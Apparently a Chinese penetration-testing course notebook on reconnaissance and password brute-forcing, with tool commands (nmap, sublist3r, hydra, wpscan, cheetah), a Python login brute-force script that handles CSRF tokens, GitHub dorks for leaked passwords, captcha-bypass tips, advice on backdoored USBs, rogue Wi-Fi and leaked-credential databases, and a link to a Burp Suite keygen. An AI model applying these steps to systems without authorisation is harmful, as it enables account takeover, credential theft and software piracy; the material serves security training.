渗透测试
渗透测试信息收集
host 配置
添加虚拟机ip 做 dns服务器
判断登录状态
状态码返回字符串长度
1. 信息收集的分类
1)服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
2)网站指纹识别(包括,cms,cdn,证书等) dns记录
3)whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
4)子域名收集,旁站,C段等
5)google hacking针对化搜索,word/电子表格/pdf文件,中间件版本,弱口令扫描等
6)扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
7)传输协议,通用漏洞,exp,github源码等
1. 常见的方法有
1.whois 查询
查询备案号,企业信息,whois反查
2.收集子域名
moonsec.com 根域名 顶级域名
www.moonsec.com子域名 也叫二级域名
www.wiki.moonsec.com 子域名 也叫三级域名 四级如此类推
3.端口扫描
4.查找真实ip
探测旁站,c站
6.网络搜索引擎
7.扫描敏感文件目录
8.指纹识别
cms管理系统
1. 在线whois查询
站长之家域名WHOIS信息查询地址 http://whois.chinaz.com/
爱站网域名WHOIS信息查询地址 https://whois.aizhan.com/
腾讯云域名WHOIS信息查询地址 https://whois.cloud.tencent.com/
美橙互联域名WHOIS信息查询地址 https://whois.cndns.com/
爱名网域名WHOIS信息查询地址 https://www.22.cn/domain/
易名网域名WHOIS信息查询地址 https://whois.ename.net/
中国万网域名WHOIS信息查询地址 https://whois.aliyun.com/
西部数码域名WHOIS信息查询地址 https://whois.west.cn/
新网域名WHOIS信息查询地址 http://whois.xinnet.com/domain/whois/index.jsp
纳网域名WHOIS信息查询地址 http://whois.nawang.cn/
中资源域名WHOIS信息查询地址 https://www.zzy.cn/domain/whois.html
三五互联域名WHOIS信息查询地址 https://cp.35.com/chinese/whois.php
新网互联域名WHOIS信息查询地址 http://www.dns.com.cn/show/domain/whois/index.do
国外WHOIS信息查询地址 https://who.is/
1.1. 在线网站备案查询
1.天眼查 https://www.tianyancha.com/
2.ICP备案查询网http://www.beianbeian.com/
3.爱站备案查询https://icp.aizhan.com/
4.域名助手备案信息查询 http://cha.fute.com/index
1. 收集子域名
常用方式
1.FOFA title="公司名称"
2.百度 intitle=公司名称
3.Google intitle=公司名称
4.站长之家,直接搜索名称或者网站域名即可查看相关信息:
http://tool.chinaz.com/
5.钟馗之眼 site=域名即可
https://www.zoomeye.org/
域名类型
A记录、别名记录(CNAME)、MX记录、TXT记录、NS记录:
address记录
是用来指定主机名(或域名)对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置您域名的二级域名
别名
也被称为规范名字。这种记录允许您将多个名字映射到同一台计算机。通常用于同时提供WWW和MAIL服务的计算机。例如,有一台计算机名为“host.mydomain.com”(A记录)。它同时提供WWW和MAIL服务,为了便于用户访问服务。可以为该计算机设置两个别名(CNAME):WWW和MAIL。这两个别名的全称就是“www.mydomain.com”和“mail.mydomain.com”。实际上他们都指向“host.mydomain.com”。同样的方法可以用于当您拥有多个域名需要指向同一服务器IP,此时您就可以将一个域名做A记录指向服务器IP然后将其他的域名做别名到之前做A记录的域名上,那么当您的服务器IP地址变更时您就可以不必麻烦的一个一个域名更改指向了 只需要更改做A记录的那个域名其他做别名的那些域名的指向也将自动更改到新的IP地址上了。
检测cname
1、进入命令状态;(开始菜单 - 运行 - CMD[回车]);
2、输入命令" nslookup -q=cname 这里填写对应的域名或二级域名",查看返回的结果与设置的是否一致即可。
MX(Mail Exchanger)记录:
是邮件交换记录,它指向一个邮件服务器,用于电子邮件系统发邮件时根据 收信人的地址后缀来定位邮件服务器。例如,当Internet上的某用户要发一封信给 user@mydomain.com 时,该用户的邮件系统通过DNS查找mydomain.com这个域名的MX记录,如果MX记录存在, 用户计算机就将邮件发送到MX记录所指定的邮件服务器上。
什么是TXT记录?:
TXT记录一般指为某个主机名或域名设置的说明,如:
1)admin IN TXT "jack, mobile:13800138000";
2)mail IN TXT "邮件主机, 存放在xxx ,管理人:AAA",Jim IN TXT "contact: abc@mailserver.com"
也就是您可以设置 TXT ,以便使别人联系到您。
如何检测TXT记录?
1、进入命令状态;(开始菜单 - 运行 - CMD[回车]);
2、输入命令" nslookup -q=txt 这里填写对应的域名或二级域名",查看返回的结果与设置的是否一致即可。
什么是NS记录?
ns记录全称为Name Server 是一种域名服务器记录,用来明确当前你的域名是由哪个DNS服务器来进行解析的。
在线查询子域名
https://phpinfo.me/domain/
https://www.t1h2ua.cn/tools/
dns侦测
https://dnsdumpster.com/
IP138查询子域名
https://site.ip138.com/moonsec.com/domain.htm
FOFA搜索子域名
https://fofa.so/
语法:domain="baidu.com"
提示:以上两种方法无需爆破,查询速度快,需要快速收集资产时可以优先使用,后面再用其他方法补充。
Hackertarget查询子域名
https://hackertarget.com/find-dns-host-records/
注意:通过该方法查询子域名可以得到一个目标大概的ip段,接下来可以通过ip来收集信息。
360测绘空间
https://quake.360.cn/
domain:"*.freebuf.com"
Layer子域名挖掘机
SubDomainBrute
pip install aiodns
运行命令subDomainsBrute.py freebuf.com
subDomainsBrute.py freebuf.com --full -o freebuf2.txt
Sublist3r
https://github.com/aboul3la/Sublist3r
pip install -r requirements.txt
提示:以上方法为爆破子域名,由于字典比较强大,所以效率较高。
帮助文档
usage: sublist3r.py [-h] -d DOMAIN [-b [BRUTEFORCE]] [-p PORTS] [-v [VERBOSE]]
[-t THREADS] [-e ENGINES] [-o OUTPUT] [-n]
OPTIONS:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain name to enumerate it's subdomains
-b [BRUTEFORCE], --bruteforce [BRUTEFORCE]
Enable the subbrute bruteforce module
-p PORTS, --ports PORTS
Scan the found subdomains against specified tcp ports
-v [VERBOSE], --verbose [VERBOSE]
Enable Verbosity and display results in realtime
-t THREADS, --threads THREADS
Number of threads to use for subbrute bruteforce
-e ENGINES, --engines ENGINES
Specify a comma-separated list of search engines
-o OUTPUT, --output OUTPUT
Save the results to text file
-n, --no-color Output without color
Example: python sublist3r.py -d google.com
中文翻译
-h :帮助
-d :指定主域名枚举子域名
-b :调用subbrute暴力枚举子域名
-p :指定tpc端口扫描子域名
-v :显示实时详细信息结果
-t :指定线程
-e :指定搜索引擎
-o :将结果保存到文本
-n :输出不带颜色
默认参数扫描子域名
python sublist3r.py -d baidu.com
使用暴力枚举子域名
python sublist3r -b -d baidu.com
6.4.4.python2.7.14 环境
;C:\Python27;C:\Python27\Scripts
OneForALL
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
python3 oneforall.py --target baidu.com run /*收集*/
Example:
brute.py --target domain.com --word True run
brute.py --targets ./domains.txt --word True run
brute.py --target domain.com --word True --concurrent 2000 run
brute.py --target domain.com --word True --wordlist subnames.txt run
brute.py --target domain.com --word True --recursive True --depth 2 run
brute.py --target d.com --fuzz True --place m.*.d.com --rule '[a-z]' run
brute.py --target d.com --fuzz True --place m.*.d.com --fuzzlist subnames.txt run
Wydomain
dnsburte.py -d aliyun.com -f dnspod.csv -o aliyun.log
wydomain.py -d aliyun.com
FuzzDomain
隐藏域名hosts碰撞
隐藏资产探测-hosts碰撞
https://mp.weixin.qq.com/s/fuASZODw1rLvgT7GySMC8Q
很多时候访问目标资产IP响应多为:401、403、404、500,但是用域名请求却能返回正常的业务系统(禁止IP直接访问),因为这大多数都是需要绑定host才能正常请求访问的 (目前互联网公司基本的做法)(域名删除了A记录,但是反代的配置未更新),那么我们就可以通过收集到的目标的 域名 和 目标资产 的IP段组合起来,以 IP段+域名 的形式进行捆绑碰撞,就能发现很多有意思的东西。
在发送http请求的时候,对域名和IP列表进行配对,然后遍历发送请求 (就相当于修改了本地的hosts文件一样),并把相应的title和响应包大小拿回 来做对比,即可快速发现一些隐蔽的资产。
进行hosts碰撞需要目标的域名和目标的相关IP作为字典
域名就不说了
相关IP来源有:
目标域名历史解析IP
https://site.ip138.com/
https://ipchaxun.com/
ip正则
https://www.aicesu.cn/reg/
端口扫描
当确定了目标大概的ip段后,可以先对ip的开放端口进行探测,一些特定服务可能开起在默认端口上,探测开放端口有利于快速收集目标资产,找到目标网站的其他功能站点。
msscan端口扫描
msscan -p 1-65535 ip --rate=1000
https://gitee.com/youshusoft/GoScanner/
御剑端口扫描工具
nmap扫描端口和探测端口信信息
nmap -sV 192.168.0.2
nmap -sT 92.168.0.2
nmap -Pn -A -sC 192.168.0.2
nmap -sU -sT -p0-65535 192.168.122.1
用于扫描目标主机服务版本号与开放的端口
如果需要扫描多个ip或ip段,可以将他们保存到一个txt文件中
nmap -iL ip.txt
来扫描列表中所有的ip。
Nmap为端口探测最常用的方法,操作方便,输出结果非常直观
在线端口检测
端口扫描器
7.6.渗透端口
21,22,23,1433,152,3306,3389,5432,5900,50070,50030,50000,27017,27018,11211,9200,9300,7001,7002,6379,5984,873,443,8000-9090,80-89,80,10000,8888,8649,8083,8080,8089,9090,7778,7001,7002,6082,5984,4440,3312,3311,3128,2601,2604,2222,2082,2083,389,88,512,513,514,1025,111,1521,445,135,139,53
7.7.渗透常见端口及对应服务
1.web类(web漏洞/敏感目录)
第三方通用组件漏洞struts thinkphp jboss ganglia zabbix
80 web
80-89 web
8000-9090 web
2.数据库类(扫描弱口令)
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
3.特殊服务类(未授权/命令执行类/漏洞)
443 SSL心脏滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
.常用端口类(扫描弱口令/端口爆破)
21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌面
5.端口合计详情
21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心脏滴血以及一些web漏洞测试
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 MySQL
3312/3311 kangle主机管理系统登陆
3389 远程桌面
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
查找真实ip
http://ping.chinaz.com/
http://ping.aizhan.com/
查询历史DNS解析记录
在查询到的历史解析记录中,最早的历史解析ip很有可能记录的就是真实ip,快速查找真实IP推荐此方法,但并不是所有网站都能查到
DNSDB
https://tools.ipip.net/cdn.php Ipip.net
https://viewdns.info/ viewdns
8.3.phpinfo
如果目标网站存在phpinfo泄露等,可以在phpinfo中的SERVER_ADDR或_SERVER[“SERVER_ADDR"]找到真实ip
8.4.绕过CDN
绕过CDN的多种方法具体可以参考 https://www.cnblogs.com/qiudabai/p/9763739.html
旁站和C段
站长之家
同ip网站查询http://stool.chinaz.com/same
https://chapangzhan.com/
9.2.google hacking
https://blog.csdn.net/qq_36119192/article/details/84029809
在线c段 webscan.cc
webscan.cc
c段利用脚本
pip install requests
#coding:utf-8
import requests
import json
def get_c(ip):
print("正在收集{}".format(ip))
url="http://api.webscan.cc/?action=query&ip={}".format(ip)
req=requests.get(url=url)
html=req.text
data=req.json()
if 'null' not in html:
with open("resulit.txt", 'a', encoding='utf-8') as f:
f.write(ip + '\n')
f.close()
for i in data:
with open("resulit.txt", 'a',encoding='utf-8') as f:
f.write("\t{} {}\n".format(i['domain'],i['title']))
print(" [+] {} {}[+]".format(i['domain'],i['title']))
f.close()
def get_ips(ip):
iplist=[]
ips_str = ip[:ip.rfind('.')]
for ips in range(1, 256):
ipadd=ips_str + '.' + str(ips)
iplist.append(ipadd)
return iplist
ip=input("请你输入要查询的ip:")
ips=get_ips(ip)
for p in ips:
get_c(p)
Nmap,Msscan扫描等
例如:nmap -p 80,443,8000,8080 -Pn 192.168.0.0/24
9.2.4. 常见端口表
21,22,23,80-90,161,389,443,445,873,1099,1433,1521,1900,2082,2083,2222,2601,2604,3128,3306,3311,3312,3389,4440,4848,5432,5560,5900,5901,5902,6082,6379,7001-7010,7778,8080-8090,8649,8888,9000,9200,10000,11211,27017,28017,50000,50030,50060,135,139,445,53,88
注意:探测C段时一定要确认ip是否归属于目标,因为一个C段中的所有ip不一定全部属于目标。
10.网络空间搜索引擎
如果想要在短时间内快速收集资产,那么利用网络空间搜索引擎是不错的选择,可以直观地看到旁站,端口,站点标题,IP等信息,点击列举出站点可以直接访问,以此来判断是否为自己需要的站点信息。FOFA的常用语法
1、同IP旁站:ip="192.168.0.1"
2、C段:ip="192.168.0.0/24"
3、子域名:domain="baidu.com"
4、标题/关键字:title="百度"
5、如果需要将结果缩小到某个城市的范围,那么可以拼接语句
title="百度"&& region="Beijing"
6、特征:body="百度"或header="baidu"
扫描敏感目录/文件
11.1.御剑
https://www.fujieace.com/hacker/tools/yujian.html
11.2.7kbstorm
https://github.com/7kbstorm/7kbscan-WebPathBrute
bbscan
https://github.com/lijiejie/BBScan
在pip已经安装的前提下,可以直接:
pip install -r requirements.txt
使用示例:
1. 扫描单个web服务 www.target.com
python BBScan.py --host www.target.com
2. 扫描www.target.com和www.target.com/28下的其他主机
python BBScan.py --host www.target.com --network 28
3. 扫描txt文件中的所有主机
python BBScan.py -f wandoujia.com.txt
4. 从文件夹中导入所有的主机并扫描
python BBScan.py -d targets/
–network 参数用于设置子网掩码,小公司设为28~30,中等规模公司设置26~28,大公司设为24~26
当然,尽量避免设为24,扫描过于耗时,除非是想在各SRC多刷几个漏洞。
该插件是从内部扫描器中抽离出来的,感谢 Jekkay Hu<34538980[at]qq.com>
如果你有非常有用的规则,请找几个网站验证测试后,再 pull request
脚本还会优化,接下来的事:
增加有用规则,将规则更好地分类,细化
后续可以直接从 rules\request 文件夹中导入HTTP_request
dirmap
pip install -r requirement.txt
https://github.com/H4ckForJob/dirmap
单个目标
python3 dirmap.py -i https://target.com -lcf
多个目标
python3 dirmap.py -iF urls.txt -lcf
dirsearch
https://gitee.com/Abaomianguan/dirsearch.git
unzip dirsearch.zip
python3 dirsearch.py -u http://m.scabjd.com/ -e *
gobuster
sudo apt-get install gobuster
gobuster dir -u https://www.servyou.com.cn/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50
dir -u 网址 w字典 -x 指定后缀 -t 线程数量
dir -u https://www.servyou.com.cn/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "php,html,rar,zip" -d --wildcard -o servyou.log | grep ^"3402"
网站文件
1. robots.txt
2. crossdomin.xml
3. sitemap.xml
4. 后台目录
5. 网站安装包
6. 网站上传目录
7. mysql管理页面
8. phpinfo
9. 网站文本编辑器
10. 测试文件
11. 网站备份文件(.rar、zip、.7z、.tar.gz、.bak)
12. DS_Store 文件
13. vim编辑器备份文件(.swp)
14. WEB—INF/web.xml文件
15 .git
16 .svn
https://www.secpulse.com/archives/55286.html
扫描网页备份
例如
config.php
config.php~
config.php.bak
config.php.swp
config.php.rar
conig.php.tar.gz
网站头信息收集
1、中间件 :web服务【Web Servers】 apache iis7 iis7.5 iis8 nginx WebLogic tomcat
2.、网站组件: js组件jquery、vue 页面的布局bootstrap
通过浏览器获取
http://whatweb.bugscaner.com/look/
curl命令查询头信息
curl https://www.moonsec.com -i
敏感文件搜索
GitHub搜索
in:name test #仓库标题搜索含有关键字test
in:descripton test #仓库描述搜索含有关键字
in:readme test #Readme文件搜素含有关键字
搜索某些系统的密码
https://github.com/search?q=smtp+58.com+password+3306&type=Code
github 关键词监控
https://www.codercto.com/a/46640.html
谷歌搜索
site:Github.com sa password
site:Github.com root password
site:Github.com User ID='sa';Password
site:Github.com inurl:sql
SVN 信息收集
site:Github.com svn
site:Github.com svn username
site:Github.com svn password
site:Github.com svn username password
综合信息收集
site:Github.com password
site:Github.com ftp ftppassword
site:Github.com 密码
site:Github.com 内部
https://blog.csdn.net/qq_36119192/article/details/99690742
http://www.361way.com/github-hack/6284.html
https://docs.github.com/cn/github/searching-for-information-on-github/searching-code
https://github.com/search?q=smtp+bilibili.com&type=code
Google-hacking
site:域名
inurl: url中存在的关键字网页
intext:网页正文中的关键词
filetype:指定文件类型
wooyun漏洞库
14.4.网盘搜索
凌云搜索 https://www.lingfengyun.com/
盘多多:http://www.panduoduo.net/
盘搜搜:http://www.pansoso.com/
盘搜:http://www.pansou.com/
14.5.社工库
名字/常用id/邮箱/密码/电话 登录 网盘 网站 邮箱 找敏感信息
tg机器人
1.1. 网站注册信息
www.reg007.com 查询网站注册信息
1.1. js敏感信息
1.1.1. jsfinder
https://gitee.com/kn1fes/JSFinder
python3 JSFinder.py -u http://www.mi.com
python3 JSFinder.py -u http://www.mi.com -d
python3 JSFinder.py -u http://www.mi.com -d -ou mi_url.txt -os mi_subdomain.txt
当你想获取更多信息的时候,可以使用-d进行深度爬取来获得更多内容,并使用命令 -ou, -os来指定URL和子域名所保存的文件名
批量指定URL和JS链接来获取里面的URL。
指定URL:
python JSFinder.py -f text.txt
指定JS:
python JSFinder.py -f text.txt -j
1.1.1. Packer-Fuzzer
寻找网站交互接口 授权key
随着WEB前端打包工具的流行,您在日常渗透测试、安全服务中是否遇到越来越多以Webpack打包器为代表的网站?这类打包器会将整站的API和API参数打包在一起供Web集中调用,这也便于我们快速发现网站的功能和API清单,但往往这些打包器所生成的JS文件数量异常之多并且总JS代码量异常庞大(多达上万行),这给我们的手工测试带来了极大的不便,Packer Fuzzer软件应运而生。
本工具支持自动模糊提取对应目标站点的API以及API对应的参数内容,并支持对:未授权访问、敏感信息泄露、CORS、SQL注入、水平越权、弱口令、任意文件上传七大漏洞进行模糊高效的快速检测。在扫描结束之后,本工具还支持自动生成扫描报告,您可以选择便于分析的HTML版本以及较为正规的doc、pdf、txt版本。
sudo apt-get install nodejs && sudo apt-get install npm
git clone https://gitee.com/keyboxdzd/Packer-Fuzzer.git
pip3 install -r requirements.txt
python3 PackerFuzzer.py -u https://www.liaoxuefeng.com
SecretFinder
一款基于Python脚本的JavaScript敏感信息搜索工具
https://gitee.com/mucn/SecretFinder
python3 SecretFinder.py -i https://www.moonsec.com/ -e
15.cms识别
15.cms识别
收集好网站信息之后,应该对网站进行指纹识别,通过识别指纹,确定目标的cms及版本,方便制定下一步的测试计划,可以用公开的poc或自己累积的对应手法等进行正式的渗透测试。
15.1.云悉
http://www.yunsee.cn/info.html
15.2.潮汐指纹
http://finger.tidesec.net/
15.3.CMS指纹识别
http://whatweb.bugscaner.com/look/
https://github.com/search?q=cms识别
1.1. 御剑cms识别
https://github.com/ldbfpiaoran/cmscan
https://github.com/theLSA/cmsIdentification/
16.非常规操作
1、如果找到了目标的一处资产,但是对目标其他资产的收集无处下手时,可以查看一下该站点的body里是否有目标的特征,然后利用网络空间搜索引擎(如fofa等)对该特征进行搜索,如:body=”XX公司”或body=”baidu”等。
该方式一般适用于特征明显,资产数量较多的目标,并且很多时候效果拔群。
2、当通过上述方式的找到test.com的特征后,再进行body的搜索,然后再搜索到test.com的时候,此时fofa上显示的ip大概率为test.com的真实IP。
3、如果需要对政府网站作为目标,那么在批量获取网站首页的时候,可以用上
http://114.55.181.28/databaseInfo/index
之后可以结合上一步的方法进行进一步的信息收集。
17.SSL/TLS证书查询
17.SSL/TLS证书查询
SSL/TLS证书通常包含域名、子域名和邮件地址等信息,结合证书中的信息,可以更快速地定位到目标资产,获取到更多目标资产的相关信息。
https://myssl.com/
https://crt.sh
https://censys.io
https://developers.facebook.com/tools/ct/
https://google.com/transparencyreport/https/ct/
SSL证书搜索引擎:
https://certdb.com/domain/github.com
https://crt.sh/?Identity=%.moonsec.com
https://censys.io/
GetDomainsBySSL.py
19.2.app软件搜索
https://www.qimai.cn/
20.社交信息搜索
QQ群 QQ手机号
微信群
领英
https://www.linkedin.com/
脉脉招聘
boss招聘
21.js敏感文件
https://github.com/m4ll0k/SecretFinder
https://github.com/Threezh1/JSFinder
https://github.com/rtcatc/Packer-Fuzzer
22.github信息泄露监控
https://github.com/0xbug/Hawkeye
https://github.com/MiSecurity/x-patrol
https://github.com/VKSRC/Github-Monitor
23.防护软件收集
安全防护 云waf、硬件waf、主机防护软件、软waf
24.社工相关
微信或者QQ 混入内部群,蹲点观测。加客服小姐姐发一些连接。进一步获取敏感信息。测试产品,购买服务器,拿去测试账号和密码。
25.物理接触
到企业办公层连接wifi,连同内网。丢一些带有后门的usb 开放免费的wifi截取账号和密码。
26.社工库
在tg找社工机器人 查找密码信息 或本地的社工库查找邮箱或者用户的密码或密文。组合密码在进行猜解登录。
27.资产收集神器
ARL(Asset Reconnaissance Lighthouse)资产侦察灯塔系统
https://github.com/TophantTechnology/ARL
AssetsHunter
https://github.com/rabbitmask/AssetsHunter
一款用于src资产信息收集的工具
https://github.com/sp4rkw/Reaper
domain_hunter_pro
https://github.com/bit4woo/domain_hunter_pro
LangSrcCurise
https://github.com/shellsec/LangSrcCurise
网段资产
https://github.com/colodoo/midscan
28.工具
Fuzz字典推荐:https://github.com/TheKingOfDuck/fuzzDicts
BurpCollector(BurpSuite参数收集插件):https://github.com/TEag1e/BurpCollector
Wfuzz:https://github.com/xmendez/wfuzz
LinkFinder:https://github.com/GerbenJavado/LinkFinder
PoCBox:https://github.com/Acmesec/PoCBox
穷举篇
常见的服务
burpsuite 穷举后台密码
burpsuite 使用方法
brupsuite 是一个安全测试套件,提供了众多的测试功能。在火狐安装插件 FoxyProxy 填写 127.0.0.1 8080 保存为 burp 开启代理
谷歌插件
0x00 环境与安装
2021专业版推荐使用jdk11
BP : https://portswigger.net/Burp/Releases
注册机:https://github.com/h3110w0r1d-y/BurpLoaderKeygen/releases
java sdk: https://download.java.net/openjdk/jdk11/ri/openjdk-11+28_windows-x64_bin.zip
vbs自启动脚本:
DIM objShell
DIM command
set objShell=wscript.createObject("wscript.shell")
command="java -javaagent:BurpLoaderKeygen.jar -noverify -jar burpsuite_pro_v2021.7.jar"
iReturn=objShell.Run(command, 0, TRUE)
bat脚本启动:
java -javaagent:BurpLoaderKeygen.jar -noverify -jar burpsuite_pro_v2021.12.1.jar
上面安装也可以使用
BurpSuite 2021 —— java 11
http://jdk.java.net/java-se-ri/11
BurpSuite下载:
https://portswigger.net/burp/releases
激活文件(注册机):
https://github.com/h3110w0r1d-y/BurpLoaderKeygen/releases
新建扫描对象,这里使用的是爬取与审计测试,下面protocol模块可以设定爬取的条件,即不爬取某些对象,
其他按照默认的配置,可以设置自己的UA头
设置账户密码访问
扫描结果:更详细可以点击项目的右下角view模块,看到爬取的url信息与扫描结果
更详细的模块查看你(Target模块)
第一个模块:来自代理的实时审计(所有流量)
第二个模块:从代理(所有流量)动态被动爬行爬取结果:
爬取结果:
proxy 模块的使用
proxy是最常用的模块,拦截代理![ ](流量进行操作等
proxy----intercept模块详解
可以审计当前的请求,或者存储和发送到其他的页面进行其他的操作等
拦截当前数据包的 返回包,可以进行伪造验证等操作,在之后的渗透中会使用到
对当前输入时候的对象进行urlcode编码,一些特殊的符号会自动转换成url编码
proxy----http hitsory模块 记录请求日志功能
proxy----options模块 监听配置
添加请求拦截规则设置模块–intercept client requests
可以设置不拦截某些条件,例如不拦截请求地址后缀为jpg等,proxy会自动放行此数据包
设置:只拦截post请求
下面一个模块针对返回包的拦截条件,目前用的不是太多
自动将请求包的指定内容替换成某些内容—match and replace
Target模块使用介绍
抓取流量后,本模块起到一个辅助的作用,可以观察捕获的页面内的链接等
0x06 Repeater模块使用介绍
将数据发到sitemap 模块
数据的加解密编码等
数据的hex值修改,常用于渗透绕过等
0x07 intruder模块使用介绍
这个模块是经常是使用到的,这里将常用的模块列举出来
1.爆破的四种模式
Sniper:狙击手单点模式,将数据逐一填充到指定位置
Battering ram:将数据同时填充到多个指定位置,例A字典的数据同时填充到两个位置
Pitchfork:将每个字典逐一对称匹配,例如A字典的1号位与B字典的1号位匹配,绝不相交匹配
Cluster bomb:将每个字典逐一交叉匹配,例如A字典的所有位与B字典的所有位都匹配,
inturder payload 组合破解爆破模式:
Decoder 加解密模块
Comparer 数据对比模块
Extender-插件环境模块
添加java与python环境,后面的插件自行百度使用即可
注意!配置的python的jython环境必须要有环境变量,即在cmd环境下可以直接使用python
代理设置 User option模块
使用端口查询:
代理配置即可:
有 token 防御的网站后台穷举破解密码
有的网站后台存在 token 值,这个 token 通俗的名字叫令牌,每次刷新页面都会 随机变化。提交请求时必须携带这个 token 值,可以利用这点避免后台进行直接 穷举和防止 csrf
打开 burpsuite 刷新页面 接着 forward 放行这个数据包
来到 Project options --> Session-- >add 添加宏
点击之后选择网页历史选择提交之后有 token
当我们尝试使用burpsuite直接抓包爆破后,发现全是302重定向,明显这是行不通的
那么我们需要在Project Option的Session上添加自动捕捉token的选项
运行一个宏
这里我们选择刚开始GET请求获取到的网页
然后编辑这个选项,添加自动获取那个值选项
这里选择要更新的字段
然后进入Scope选项,添加URL地址
然后回到暴力破解模块,设置变量值和加载字典,并选择总是follow redirection选项
可以看到密码为password,账号为admin的响应包长度明显不同的
查看响应包内容发现爆破成功
编写脚本获取 token
#coding:utf-8
import requests
import re
url = "http://www.c3moon.com/login.php"
def login(password):
session = requests.session()
req=session.get(url)
user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
data={"username":"admin","password":password,"Login":"Login",'user_token':user_token}
req=session.post(url=url,data=data,allow_redirects=True)
html = req.text
return html
with open('top1000.txt') as p:
passlist =p.readlines()
p.close()
for line in passlist:
line = line.strip("\n")
print(line)
if 'File Upload' in login(line):
print( "[* 密码 is %s *]" % line )
break
针对有验证码后台的穷举方法
为了防止用户利用机器人自动注册、登录、灌水,都会采用验证码技术,所谓的验
证码,就是将一串随机产生的数字和符号,生成一幅图片,在图像上加上干扰像
素(防止 orc),要用户用肉眼识别其中的验证码信息,输入表单提交网站验证。
验证后使用网站某个功能.但是如果验证码逻辑编写不好会存在被绕过的风险
cookie 不存在不验证绕过
有些网站如果网站不存在 cookie 就不会验证 验证
删除 PHPSESSION 信息 验证码就不进行
破解密码成功,登录后台
.后台登录验证码没销毁进行穷举
在登录提交的时候进行验证码验证 不管密码是否正确,都要销毁验证码。
不然验证码可复用
确定的验证码
错误的验证码 导入字典进行提交
网站后台验证码识别穷举密码
登录框存在验证码 这个验证码可被识别的情况下 就会被穷举密码
将 burpsuite 的包放进验证码识别工具 设置字典和验证码
验证码后台登录辅助
接着选择爆破栏 选择错误的验证码关键词 设置线程 点击 start 即可 可以选择 再次爆破 验证准确率会提高
phpmyadmin 密码穷举
phpmyadmin 是 mysql 的一个 web 管理工具,可以通过这个工具穷举 mysql 用户 的账号和密码。
cheetah 对一句后门密码穷举
cheetah 是针对一句话后门的穷举工具
python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.list
python cheetah.py -u http://orz/orz -w aspx -s iis -n 1000
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v
cheetah.py -u http://www.c1moon.com/a.php -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.asp -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.aspx -n 1000 -v -p data/pwd.list
支持 asp php .net jsp 后门
-u 后门地址
-r 提交的方法 一般是 post
-n 一次提交密码的数量
-v 详细信息
-p 字典位置
例子
python cheetah.py -u http://www.c1moon.com/cmd.php -r post
wordpress 博客系统用户密码穷举
wordpress 是知名的博客系统,在互联网上的占有量很大,所以一定要知道这套
系统的弱口令穷举的方法。
https://wpscan.com 首先到这个网站注册账号和密码注册后获取 toke
自动找账号信息 然后登录穷举
wpscan --url http://www.redteam.com/ -e u -P /home/kali/top100password.txt
--api-token QYbHH6fbNDIi6Op3MQuvg85fD4fhNiB4RKJsVOMVp6w
手动收集 wordpress 用户信息 访问连接获取用户信息
http://www.vtmoon1.com/wp-json/wp/v2/users
获取信息可以再进行指定用户爆破
wpscan --url http://www.vtmoon1.com -U moonsec -P /home/kali/top1000.txt
常见的端口服务穷举
hydra 密码穷举工具的使
hydra 是一个端口穷举服务器的工具
adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post}
http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s]
ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener
oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap
rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak
telnet[s] vmauthd vnc xmpp
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
